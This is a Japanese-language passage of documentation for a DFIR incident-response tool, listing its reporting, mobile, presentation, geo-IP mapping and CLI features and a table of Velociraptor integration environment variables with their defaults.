  • レポートテンプレート — グローバルなブランドレイアウト (アクセント、ヘッダー/フッター、セクション順序)。ケースごとに選択。ここで無効化されたセクションはAI生成 (エグゼクティブサマリー、ナラティブ) をスキップしてトークンを節約します (#168)
  • モバイルコンパニオン — 検出事項/タイムライン/IOCと判定を表示する読み取り専用PWA (/mobile)。オフラインアプリシェル
  • プレゼンテーション / タイムラインリプレイモード — ハンドオフブリーフィングとエグゼクティブウォークスルー向けの読み取り専用ステップスルースライドデッキ (/cases/:id/present): 大きなカード、キーボードナビ、自動送り、重大度フィルター、レポートテンプレートブランディング。自己完結型オフラインHTMLデッキをエクスポート (#177)
  • 🌍 地理的IPマップ — 地理的位置情報を持つIP IOCをインタラクティブなLeaflet世界地図上にプロット (重大度色、被害者→攻撃者フロー、国別統計、フィルタリング、CSVエクスポート)。座標はオプトインのGeoIPエンリッチメントから取得、オフライン対応 (タイルは上書き可能)
  • Linux AppImage — 任意のglibcディストロ向けの単一ファイル実行可能ファイル、Node不要
  • 更新通知 — 新しいGitHubリリースのオプトイン (デフォルトオフ) チェック。ダッシュボードバナー、自動ダウンロードは決して行いません
  • カスタマイズ可能なプロンプト — 環境変数またはファイルでプロンプトを上書き。編集は再起動なしで適用
  • デモケース — ワンクリック読み込みまたはnpm run seed-demoでGlobalTechシナリオをシード
  • CLIスクリプト — reanalyze、synthesize、coverage、verify:ai、clean-timeline
  • 変数デフォルト意味
    DFIR_VELOCIRAPTOR_API_CONFIG—api_client 設定ファイルへのパス
    DFIR_VELOCIRAPTOR_BINARYvelociraptor実行ファイルのパス(Windows では .exe のフルパス)
    DFIR_VELOCIRAPTOR_GUI_URL—起動したハントへのディープリンク用 GUI ベース URL
    DFIR_VELOCIRAPTOR_ORGrootディープリンクの ?org_id= 用の組織(GUI が要求する。# フラグメントの前)
    DFIR_VELOCIRAPTOR_TIMEOUT_MS60000クエリごとのタイムアウト(ミリ秒)
    DFIR_VELOCIRAPTOR_MAX_ROWS1000ダッシュボードに返される最大行数
    DFIR_VELOCIRAPTOR_MAX_OUTPUT52428800対話型クエリ出力バイト数のハード上限(50 MB)
    DFIR_VELOCIRAPTOR_COLLECT_MAX_OUTPUT268435456バンドルハント収集用のより大きな上限(行 + アップロードされた JSON。THOR/Hayabusa は大容量)。これを超えるアーティファクト/アップロードはスキップされ(ログ記録)、致命的ではない — 残りは引き続きインポートされる。
    DFIR_VELO_HUNT_WAIT_MIN10トリアージバンドルハントが自動収集するまでのデフォルト分数(実行ごと + バンドルごとに上書き可能。1〜1440 にクランプ)
    DFIR_VELOCIRAPTOR_UPLOAD_VQL—上級者向け: ハントのアップロードされたテキストレポート(json/jsonl/ndjson/csv/txt/log。バージョンに敏感。__HUNT_ID__ プレースホルダーを保持)を読み取る VQL を上書き
    DFIR_VELOCIRAPTOR_FLOW_UPLOAD_VQL—上級者向け: 外部から貼り付けられた単一フローのアップロードされたレポート(__CLIENT_ID__/__FLOW_ID__ プレースホルダーを保持)を読み取る VQL を上書き
    DFIR_HUNT_SUGGEST_MAX8生成ごとに返される AI 提案のフリートハントの最大数(AI プロバイダーが必要。Velociraptor API は不要)
    DFIR_PBHUNT_SUGGEST_MAX30生成ごとに返される AI 提案のプレイブックハントの最大数(エンドポイント関連タスクごとに 1 つ。AI プロバイダーが必要)